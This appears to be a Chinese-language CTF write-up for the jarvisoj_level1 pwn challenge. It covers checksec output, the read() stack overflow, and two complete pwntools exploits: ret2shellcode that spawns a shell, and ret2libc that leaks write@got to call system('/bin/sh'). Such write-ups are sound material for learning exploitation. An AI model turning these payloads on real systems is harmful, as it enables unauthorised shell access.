HugeH4rD

jarvisoj_level1

Ubuntu 16 来源：https://github.com/bash-c/pwn_repo

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/jarvisoj_level1/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments                                        

//无保护

IDA

vulnerable_function()

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  printf("What's this:%p?\n", buf);
  return read(0, buf, 0x100u);					//read()函数存在栈溢出漏洞
}

0x02

---

思路 ret2shellcode

1.布置shellcode,返回至main()

2.再次溢出执行shellcode

offset

0x03

---

exp

from pwn import *

context(log_level='debug', os='linux', arch='i386')
io = remote('node4.buuoj.cn', 26293)
# io = process(['./level1'])
shellcode = asm(shellcraft.sh())
buffer = io.recvline()[14:-2]
print('')
buf_addr = int(buffer, 16)
print('[+] buffer_address -->', buf_addr)
payload = flat(shellcode, b'\x90'* (0x88 + 0x4 - len(shellcode)), buf_addr)
io.sendline(payload)
io.interactive()

0x04

---

思路 ret2libc

1.利用read()出栈溢出泄露write_got

2.计算出system,/bin/sh

3.再次溢出执行system

s	0x88
rbp	0x4
ret	write()
write_ret	main
arg[0]	1
arg[1]	write_got
arg[2]	0x4

s	0x88
rbp	0x4
ret	system
system_ret	0xdeadbeef
arg	/bin/sh

0x05

---

exp

from pwn import *

context(log_level='debug', os='linux', arch='i386')
io = remote('node4.buuoj.cn', 26293)
# io = process(['./level1'])
elf = ELF('./level1')
libc = ELF('./libc-2.23.so')

main = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
padding = 0x88 + 0x4
payload = flat(b'a' * padding, write_plt, main, 1, write_got, 0x4)
io.sendline(payload)
write_addr = u32(io.recv(4))
print('[+] write_address -->', hex(write_addr))
libc_base = write_addr - libc.symbols['write']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
print('[+] libc_base -->', hex(libc_base))
print('[+] system_address -->', hex(system))
print('[+] bin_sh -->', hex(bin_sh))
payload1 = flat(b'a'*padding, system, 0xdeadbeef, bin_sh)
io.sendline(payload1)
io.interactive()